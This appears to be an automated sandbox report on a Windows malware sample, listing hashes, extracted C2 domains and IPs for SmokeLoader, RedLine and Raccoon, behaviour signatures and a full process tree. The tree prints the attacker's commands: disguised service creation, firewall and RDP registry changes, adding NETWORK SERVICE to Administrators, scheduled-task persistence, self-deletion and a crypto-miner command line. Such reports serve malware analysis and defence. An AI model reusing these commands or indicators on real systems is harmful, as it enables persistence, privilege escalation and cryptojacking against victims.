Analysis

  • max time kernel
    151s
  • max time network
    149s
  • platform
    windows10_x64
  • resource
    win10v20210408
  • submitted
    24-09-2021 21:06

General

  • Target

    e3d023e5f6f2e7eebfb12204edd3ac526e830ecc051cf.exe

  • Size

    287KB

  • MD5

    6cbf95206889d06445d284b862cf18bf

  • SHA1

    c85b2f93e81da0d5759f195afdf91a645343fe5d

  • SHA256

    e3d023e5f6f2e7eebfb12204edd3ac526e830ecc051cfbf9fc9ed24d8dc7d143

  • SHA512

    45d81eddf9e9c38ed9b8ec6510b6b34c752c5ccc01e22028549ef19921308a8531dbb8c5f9f79833e5df350dd47dc2a3edd430926d45f4f1f31fd329c50393e4

Malware Config

Extracted

Family

smokeloader

Version

2020

C2

http://naghenrietti1.top/

http://kimballiett2.top/

http://xadriettany3.top/

http://jebeccallis4.top/

http://nityanneron5.top/

http://umayaniela6.top/

http://lynettaram7.top/

http://sadineyalas8.top/

http://geenaldencia9.top/

http://aradysiusep10.top/

rc4.i32
rc4.i32

Extracted

Family

redline

Botnet

qq

C2

135.181.142.223:30397

Extracted

Family

redline

Botnet

700$

C2

65.21.231.57:60751

Extracted

Family

raccoon

Botnet

f6d7183c9e82d2a9b81e6c0608450aa66cefb51f

Attributes
  • url4cnc

    https://t.me/justoprostohello

rc4.plain
rc4.plain

Extracted

Family

raccoon

Botnet

5ff0ccb2bc00dc52d1ad09949e9c7663bc9ca4d4

Attributes
  • url4cnc

    https://t.me/agrybirdsgamerept

rc4.plain
rc4.plain

Signatures

  • Raccoon

    Simple but powerful infostealer which was very active in 2019.

  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

  • RedLine Payload 5 IoCs
  • ServHelper

    ServHelper is a backdoor written in Delphi and is associated with the hacking group TA505.

  • SmokeLoader

    Modular backdoor trojan in use since 2014.

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Grants admin privileges 1 TTPs

    Uses net.exe to modify the user's privileges.

  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
  • XMRig Miner Payload 1 IoCs
  • Blocklisted process makes network request 2 IoCs
  • Creates new service(s) 1 TTPs
  • Downloads MZ/PE file
  • Executes dropped EXE 17 IoCs
  • Modifies RDP port number used by Windows 1 TTPs
  • Modifies Windows Firewall 1 TTPs
  • Sets DLL path for service in the registry 2 TTPs
  • Sets service image path in registry 2 TTPs
  • Checks BIOS information in registry 2 TTPs 4 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Deletes itself 1 IoCs
  • Drops startup file 1 IoCs
  • Loads dropped DLL 6 IoCs
  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Themida packer 6 IoCs

    Detects Themida, an advanced Windows software protection system.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Checks whether UAC is enabled 1 TTPs 2 IoCs
  • Drops file in System32 directory 3 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
  • Suspicious use of SetThreadContext 6 IoCs
  • Drops file in Windows directory 8 IoCs
  • Launches sc.exe

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Checks SCSI registry key(s) 3 TTPs 6 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Creates scheduled task(s) 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Delays execution with timeout.exe 1 IoCs
  • Modifies data under HKEY_USERS 9 IoCs
  • Modifies registry class 2 IoCs
  • Modifies registry key 1 TTPs 1 IoCs
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious behavior: MapViewOfSection 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 6 IoCs
  • Suspicious use of SendNotifyMessage 2 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\e3d023e5f6f2e7eebfb12204edd3ac526e830ecc051cf.exe
    "C:\Users\Admin\AppData\Local\Temp\e3d023e5f6f2e7eebfb12204edd3ac526e830ecc051cf.exe"
    1⤵
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:3628
    • C:\Users\Admin\AppData\Local\Temp\e3d023e5f6f2e7eebfb12204edd3ac526e830ecc051cf.exe
      "C:\Users\Admin\AppData\Local\Temp\e3d023e5f6f2e7eebfb12204edd3ac526e830ecc051cf.exe"
      2⤵
      • Checks SCSI registry key(s)
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: MapViewOfSection
      PID:3880
  • C:\Users\Admin\AppData\Local\Temp\630A.exe
    C:\Users\Admin\AppData\Local\Temp\630A.exe
    1⤵
    • Executes dropped EXE
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:1884
    • C:\Users\Admin\AppData\Local\Temp\630A.exe
      C:\Users\Admin\AppData\Local\Temp\630A.exe
      2⤵
      • Executes dropped EXE
      • Checks SCSI registry key(s)
      • Suspicious behavior: MapViewOfSection
      PID:3192
  • C:\Users\Admin\AppData\Local\Temp\6657.exe
    C:\Users\Admin\AppData\Local\Temp\6657.exe
    1⤵
    • Executes dropped EXE
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:788
    • C:\Users\Admin\AppData\Local\Temp\6657.exe
      C:\Users\Admin\AppData\Local\Temp\6657.exe
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      PID:1052
  • C:\Users\Admin\AppData\Local\Temp\6D3E.exe
    C:\Users\Admin\AppData\Local\Temp\6D3E.exe
    1⤵
    • Executes dropped EXE
    • Checks BIOS information in registry
    • Checks whether UAC is enabled
    • Suspicious use of NtSetInformationThreadHideFromDebugger
    • Suspicious use of AdjustPrivilegeToken
    PID:584
  • C:\Users\Admin\AppData\Local\Temp\7424.exe
    C:\Users\Admin\AppData\Local\Temp\7424.exe
    1⤵
    • Executes dropped EXE
    • Suspicious use of WriteProcessMemory
    PID:1180
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\jdohhoue\
      2⤵
        PID:3908
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\rykxgtuo.exe" C:\Windows\SysWOW64\jdohhoue\
        2⤵
          PID:2636
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create jdohhoue binPath= "C:\Windows\SysWOW64\jdohhoue\rykxgtuo.exe /d\"C:\Users\Admin\AppData\Local\Temp\7424.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
            PID:3860
          • C:\Windows\SysWOW64\sc.exe
            "C:\Windows\System32\sc.exe" description jdohhoue "wifi internet conection"
            2⤵
              PID:1832
            • C:\Windows\SysWOW64\sc.exe
              "C:\Windows\System32\sc.exe" start jdohhoue
              2⤵
                PID:3424
              • C:\Windows\SysWOW64\netsh.exe
                "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
                2⤵
                  PID:636
              • C:\Users\Admin\AppData\Local\Temp\7B49.exe
                C:\Users\Admin\AppData\Local\Temp\7B49.exe
                1⤵
                • Executes dropped EXE
                • Checks BIOS information in registry
                • Checks whether UAC is enabled
                • Suspicious use of NtSetInformationThreadHideFromDebugger
                PID:1340
              • C:\Users\Admin\AppData\Local\Temp\8ACB.exe
                C:\Users\Admin\AppData\Local\Temp\8ACB.exe
                1⤵
                • Executes dropped EXE
                PID:3836
              • C:\Windows\SysWOW64\jdohhoue\rykxgtuo.exe
                C:\Windows\SysWOW64\jdohhoue\rykxgtuo.exe /d"C:\Users\Admin\AppData\Local\Temp\7424.exe"
                1⤵
                • Executes dropped EXE
                • Suspicious use of SetThreadContext
                • Suspicious use of WriteProcessMemory
                PID:644
                • C:\Windows\SysWOW64\svchost.exe
                  svchost.exe
                  2⤵
                  • Drops file in System32 directory
                  • Suspicious use of SetThreadContext
                  • Modifies data under HKEY_USERS
                  PID:788
                  • C:\Windows\SysWOW64\svchost.exe
                    svchost.exe -o fastpool.xyz:10060 -u 9rLbTvsApFs3i3ojk5hDKicMNRQbxxFGwJA2hNC6NoZZDQN5tTFbhviFm4W3koxSrPg87Lnif7qxFYh9xpTJz1cT6B17Ph4.50000 -p x -k -a cn/half
                    3⤵
                      PID:4608
                • C:\Users\Admin\AppData\Local\Temp\8F8F.exe
                  C:\Users\Admin\AppData\Local\Temp\8F8F.exe
                  1⤵
                  • Executes dropped EXE
                  • Suspicious use of SetThreadContext
                  PID:1196
                  • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
                    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
                    2⤵
                    • Suspicious use of AdjustPrivilegeToken
                    PID:2764
                • C:\Users\Admin\AppData\Local\Temp\AD0B.exe
                  C:\Users\Admin\AppData\Local\Temp\AD0B.exe
                  1⤵
                  • Executes dropped EXE
                  PID:2988
                  • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                    "powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'
                    2⤵
                    • Drops file in System32 directory
                    • Drops file in Windows directory
                    PID:4376
                    • C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
                      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\gm54oq3l\gm54oq3l.cmdline"
                      3⤵
                        PID:3288
                        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
                          C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES44.tmp" "c:\Users\Admin\AppData\Local\Temp\gm54oq3l\CSC1770A5E6119C42E5AC2A9DF3D1AA9785.TMP"
                          4⤵
                            PID:1460
                        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                          "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
                          3⤵
                            PID:1216
                          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                            "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
                            3⤵
                              PID:3916
                            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                              "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
                              3⤵
                                PID:420
                              • C:\Windows\SysWOW64\reg.exe
                                "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
                                3⤵
                                  PID:1180
                                • C:\Windows\SysWOW64\reg.exe
                                  "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
                                  3⤵
                                  • Modifies registry key
                                  PID:3832
                                • C:\Windows\SysWOW64\reg.exe
                                  "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
                                  3⤵
                                    PID:4948
                                  • C:\Windows\SysWOW64\net.exe
                                    "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
                                    3⤵
                                      PID:4824
                                      • C:\Windows\SysWOW64\net1.exe
                                        C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
                                        4⤵
                                          PID:4636
                                      • C:\Windows\SysWOW64\cmd.exe
                                        "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
                                        3⤵
                                          PID:1676
                                          • C:\Windows\SysWOW64\cmd.exe
                                            cmd /c net start rdpdr
                                            4⤵
                                              PID:856
                                              • C:\Windows\SysWOW64\net.exe
                                                net start rdpdr
                                                5⤵
                                                  PID:2336
                                                  • C:\Windows\SysWOW64\net1.exe
                                                    C:\Windows\system32\net1 start rdpdr
                                                    6⤵
                                                      PID:2784
                                              • C:\Windows\SysWOW64\cmd.exe
                                                "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
                                                3⤵
                                                  PID:4336
                                                  • C:\Windows\SysWOW64\cmd.exe
                                                    cmd /c net start TermService
                                                    4⤵
                                                      PID:4264
                                                      • C:\Windows\SysWOW64\net.exe
                                                        net start TermService
                                                        5⤵
                                                          PID:4828
                                                          • C:\Windows\SysWOW64\net1.exe
                                                            C:\Windows\system32\net1 start TermService
                                                            6⤵
                                                              PID:4728
                                                  • C:\Users\Admin\AppData\Local\Temp\B549.exe
                                                    C:\Users\Admin\AppData\Local\Temp\B549.exe
                                                    1⤵
                                                    • Executes dropped EXE
                                                    • Loads dropped DLL
                                                    PID:3416
                                                    • C:\Users\Admin\AppData\Local\Temp\5tQi05uWab.exe
                                                      "C:\Users\Admin\AppData\Local\Temp\5tQi05uWab.exe"
                                                      2⤵
                                                        PID:804
                                                        • C:\Windows\SysWOW64\schtasks.exe
                                                          /C /create /F /sc minute /mo 1 /tn "Azure-Update-Task" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Network\sihost.exe"
                                                          3⤵
                                                          • Blocklisted process makes network request
                                                          • Creates scheduled task(s)
                                                          • Suspicious use of AdjustPrivilegeToken
                                                          PID:1340
                                                      • C:\Windows\SysWOW64\cmd.exe
                                                        cmd.exe /C timeout /T 10 /NOBREAK > Nul & Del /f /q "C:\Users\Admin\AppData\Local\Temp\B549.exe"
                                                        2⤵
                                                        • Blocklisted process makes network request
                                                        PID:584
                                                        • C:\Windows\SysWOW64\timeout.exe
                                                          timeout /T 10 /NOBREAK
                                                          3⤵
                                                          • Delays execution with timeout.exe
                                                          PID:2128
                                                    • C:\Users\Admin\AppData\Local\Temp\BED0.exe
                                                      C:\Users\Admin\AppData\Local\Temp\BED0.exe
                                                      1⤵
                                                      • Executes dropped EXE
                                                      PID:636
                                                    • C:\Users\Admin\AppData\Local\Temp\C5F5.exe
                                                      C:\Users\Admin\AppData\Local\Temp\C5F5.exe
                                                      1⤵
                                                      • Executes dropped EXE
                                                      • Drops startup file
                                                      • Adds Run key to start application
                                                      PID:3392
                                                    • C:\Users\Admin\AppData\Local\Temp\CCFB.exe
                                                      C:\Users\Admin\AppData\Local\Temp\CCFB.exe
                                                      1⤵
                                                      • Executes dropped EXE
                                                      PID:1208
                                                    • C:\Windows\System32\SLUI.exe
                                                      "C:\Windows\System32\SLUI.exe" RuleId=eeba1977-569e-4571-b639-7623d8bfecc0;Action=AutoActivate;AppId=55c92734-d682-4d71-983e-d6ec3f16059f;SkuId=2de67392-b7a7-462a-b1ca-108dd189f588;NotificationInterval=1440;Trigger=TimerEvent
                                                      1⤵
                                                      • Executes dropped EXE
                                                      PID:804
                                                    • C:\Users\Admin\AppData\Roaming\Microsoft\Network\sihost.exe
                                                      C:\Users\Admin\AppData\Roaming\Microsoft\Network\sihost.exe
                                                      1⤵
                                                      • Executes dropped EXE
                                                      PID:2788
                                                      • C:\Windows\SysWOW64\schtasks.exe
                                                        /C /create /F /sc minute /mo 1 /tn "Azure-Update-Task" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Network\sihost.exe"
                                                        2⤵
                                                        • Creates scheduled task(s)
                                                        PID:2288

                                                    Network

                                                    MITRE ATT&CK Enterprise v6

                                                    Replay Monitor

                                                    Loading Replay Monitor...

                                                    Downloads

                                                    • memory/420-969-0x000000007F8B0000-0x000000007F8B1000-memory.dmp

                                                      Filesize

                                                      4KB

                                                    • memory/420-936-0x0000000007410000-0x0000000007411000-memory.dmp

                                                      Filesize

                                                      4KB

                                                    • memory/420-937-0x0000000007412000-0x0000000007413000-memory.dmp

                                                      Filesize

                                                      4KB

                                                    • memory/584-205-0x0000000007620000-0x0000000007621000-memory.dmp

                                                      Filesize

                                                      4KB

                                                    • memory/584-202-0x0000000007DC0000-0x0000000007DC1000-memory.dmp

                                                      Filesize

                                                      4KB

                                                    • memory/584-140-0x00000000064B0000-0x00000000064B1000-memory.dmp

                                                      Filesize

                                                      4KB

                                                    • memory/584-141-0x0000000076E80000-0x000000007700E000-memory.dmp

                                                      Filesize

                                                      1.6MB

                                                    • memory/584-142-0x0000000005D60000-0x0000000005D61000-memory.dmp

                                                      Filesize

                                                      4KB

                                                    • memory/584-143-0x0000000005EA0000-0x0000000005EA1000-memory.dmp

                                                      Filesize

                                                      4KB

                                                    • memory/584-137-0x0000000000B30000-0x0000000000B31000-memory.dmp

                                                      Filesize

                                                      4KB

                                                    • memory/584-212-0x0000000007B30000-0x0000000007B31000-memory.dmp

                                                      Filesize

                                                      4KB

                                                    • memory/584-149-0x0000000005E00000-0x0000000005E01000-memory.dmp

                                                      Filesize

                                                      4KB

                                                    • memory/584-148-0x0000000005E90000-0x0000000005E91000-memory.dmp

                                                      Filesize

                                                      4KB

                                                    • memory/584-147-0x0000000005DC0000-0x0000000005DC1000-memory.dmp

                                                      Filesize

                                                      4KB

                                                    • memory/584-201-0x00000000076C0000-0x00000000076C1000-memory.dmp

                                                      Filesize

                                                      4KB

                                                    • memory/636-294-0x0000000000400000-0x0000000002BA3000-memory.dmp

                                                      Filesize

                                                      39.6MB

                                                    • memory/636-297-0x0000000007270000-0x0000000007271000-memory.dmp

                                                      Filesize

                                                      4KB

                                                    • memory/636-301-0x0000000007273000-0x0000000007274000-memory.dmp

                                                      Filesize

                                                      4KB

                                                    • memory/636-298-0x0000000007272000-0x0000000007273000-memory.dmp

                                                      Filesize

                                                      4KB

                                                    • memory/636-292-0x00000000001C0000-0x00000000001F0000-memory.dmp

                                                      Filesize

                                                      192KB

                                                    • memory/636-305-0x0000000007274000-0x0000000007276000-memory.dmp

                                                      Filesize

                                                      8KB

                                                    • memory/644-203-0x0000000000400000-0x0000000002B90000-memory.dmp

                                                      Filesize

                                                      39.6MB

                                                    • memory/788-130-0x0000000004FA0000-0x0000000004FA1000-memory.dmp

                                                      Filesize

                                                      4KB

                                                    • memory/788-135-0x0000000005110000-0x0000000005111000-memory.dmp

                                                      Filesize

                                                      4KB

                                                    • memory/788-197-0x0000000000130000-0x0000000000145000-memory.dmp

                                                      Filesize

                                                      84KB

                                                    • memory/788-128-0x0000000000790000-0x0000000000791000-memory.dmp

                                                      Filesize

                                                      4KB

                                                    • memory/788-134-0x0000000004F70000-0x0000000004F71000-memory.dmp

                                                      Filesize

                                                      4KB

                                                    • memory/788-139-0x0000000005620000-0x0000000005621000-memory.dmp

                                                      Filesize

                                                      4KB

                                                    • memory/804-382-0x0000000000030000-0x0000000000034000-memory.dmp

                                                      Filesize

                                                      16KB

                                                    • memory/804-384-0x0000000000400000-0x0000000002B90000-memory.dmp

                                                      Filesize

                                                      39.6MB

                                                    • memory/1052-154-0x0000000000400000-0x0000000000422000-memory.dmp

                                                      Filesize

                                                      136KB

                                                    • memory/1052-178-0x0000000004E70000-0x0000000005476000-memory.dmp

                                                      Filesize

                                                      6.0MB

                                                    • memory/1180-150-0x00000000001C0000-0x00000000001D3000-memory.dmp

                                                      Filesize

                                                      76KB

                                                    • memory/1180-155-0x0000000000400000-0x0000000002B90000-memory.dmp

                                                      Filesize

                                                      39.6MB

                                                    • memory/1196-193-0x0000000000120000-0x0000000000121000-memory.dmp

                                                      Filesize

                                                      4KB

                                                    • memory/1196-196-0x0000000000E90000-0x0000000000E91000-memory.dmp

                                                      Filesize

                                                      4KB

                                                    • memory/1196-192-0x0000000000F80000-0x0000000000FF4000-memory.dmp

                                                      Filesize

                                                      464KB

                                                    • memory/1196-194-0x00000000029C0000-0x0000000002A03000-memory.dmp

                                                      Filesize

                                                      268KB

                                                    • memory/1196-195-0x0000000075430000-0x00000000755F2000-memory.dmp

                                                      Filesize

                                                      1.8MB

                                                    • memory/1208-307-0x0000000000400000-0x0000000002BD0000-memory.dmp

                                                      Filesize

                                                      39.8MB

                                                    • memory/1208-306-0x0000000002BD0000-0x0000000002D1A000-memory.dmp

                                                      Filesize

                                                      1.3MB

                                                    • memory/1216-405-0x0000000006602000-0x0000000006603000-memory.dmp

                                                      Filesize

                                                      4KB

                                                    • memory/1216-404-0x0000000006600000-0x0000000006601000-memory.dmp

                                                      Filesize

                                                      4KB

                                                    • memory/1216-436-0x000000007EAD0000-0x000000007EAD1000-memory.dmp

                                                      Filesize

                                                      4KB

                                                    • memory/1340-179-0x0000000005430000-0x0000000005431000-memory.dmp

                                                      Filesize

                                                      4KB

                                                    • memory/1340-166-0x0000000000E80000-0x0000000000E81000-memory.dmp

                                                      Filesize

                                                      4KB

                                                    • memory/1340-177-0x0000000076E80000-0x000000007700E000-memory.dmp

                                                      Filesize

                                                      1.6MB

                                                    • memory/2764-235-0x0000000004DE0000-0x00000000053E6000-memory.dmp

                                                      Filesize

                                                      6.0MB

                                                    • memory/2764-222-0x0000000000400000-0x0000000000422000-memory.dmp

                                                      Filesize

                                                      136KB

                                                    • memory/2764-229-0x0000000000400000-0x0000000000401000-memory.dmp

                                                      Filesize

                                                      4KB

                                                    • memory/2788-1253-0x0000000000400000-0x0000000002B90000-memory.dmp

                                                      Filesize

                                                      39.6MB

                                                    • memory/2988-267-0x0000000000400000-0x0000000002F86000-memory.dmp

                                                      Filesize

                                                      43.5MB

                                                    • memory/2988-258-0x0000000003730000-0x0000000003B32000-memory.dmp

                                                      Filesize

                                                      4.0MB

                                                    • memory/2988-269-0x00000000030D0000-0x000000000321A000-memory.dmp

                                                      Filesize

                                                      1.3MB

                                                    • memory/2988-272-0x00000000030D0000-0x000000000321A000-memory.dmp

                                                      Filesize

                                                      1.3MB

                                                    • memory/2988-270-0x00000000030D0000-0x000000000321A000-memory.dmp

                                                      Filesize

                                                      1.3MB

                                                    • memory/2988-268-0x00000000030D0000-0x000000000321A000-memory.dmp

                                                      Filesize

                                                      1.3MB

                                                    • memory/3024-157-0x0000000000DA0000-0x0000000000DB6000-memory.dmp

                                                      Filesize

                                                      88KB

                                                    • memory/3024-118-0x0000000000C00000-0x0000000000C16000-memory.dmp

                                                      Filesize

                                                      88KB

                                                    • memory/3392-350-0x000000001BC40000-0x000000001BC42000-memory.dmp

                                                      Filesize

                                                      8KB

                                                    • memory/3416-271-0x0000000002BD0000-0x0000000002D1A000-memory.dmp

                                                      Filesize

                                                      1.3MB

                                                    • memory/3416-273-0x0000000000400000-0x0000000002BD0000-memory.dmp

                                                      Filesize

                                                      39.8MB

                                                    • memory/3628-115-0x0000000000030000-0x0000000000039000-memory.dmp

                                                      Filesize

                                                      36KB

                                                    • memory/3836-244-0x0000000000700000-0x0000000000730000-memory.dmp

                                                      Filesize

                                                      192KB

                                                    • memory/3836-246-0x0000000004CD0000-0x0000000004CD1000-memory.dmp

                                                      Filesize

                                                      4KB

                                                    • memory/3836-245-0x0000000000400000-0x00000000004BF000-memory.dmp

                                                      Filesize

                                                      764KB

                                                    • memory/3836-255-0x0000000004CD2000-0x0000000004CD3000-memory.dmp

                                                      Filesize

                                                      4KB

                                                    • memory/3836-256-0x0000000004CD3000-0x0000000004CD4000-memory.dmp

                                                      Filesize

                                                      4KB

                                                    • memory/3836-257-0x0000000004CD4000-0x0000000004CD6000-memory.dmp

                                                      Filesize

                                                      8KB

                                                    • memory/3880-116-0x0000000000400000-0x0000000000409000-memory.dmp

                                                      Filesize

                                                      36KB

                                                    • memory/3916-680-0x0000000006522000-0x0000000006523000-memory.dmp

                                                      Filesize

                                                      4KB

                                                    • memory/3916-679-0x0000000006520000-0x0000000006521000-memory.dmp

                                                      Filesize

                                                      4KB

                                                    • memory/3916-693-0x000000007F210000-0x000000007F211000-memory.dmp

                                                      Filesize

                                                      4KB

                                                    • memory/4376-326-0x0000000006C62000-0x0000000006C63000-memory.dmp

                                                      Filesize

                                                      4KB

                                                    • memory/4376-323-0x0000000006C60000-0x0000000006C61000-memory.dmp

                                                      Filesize

                                                      4KB

                                                    • memory/4376-368-0x0000000006C63000-0x0000000006C64000-memory.dmp

                                                      Filesize

                                                      4KB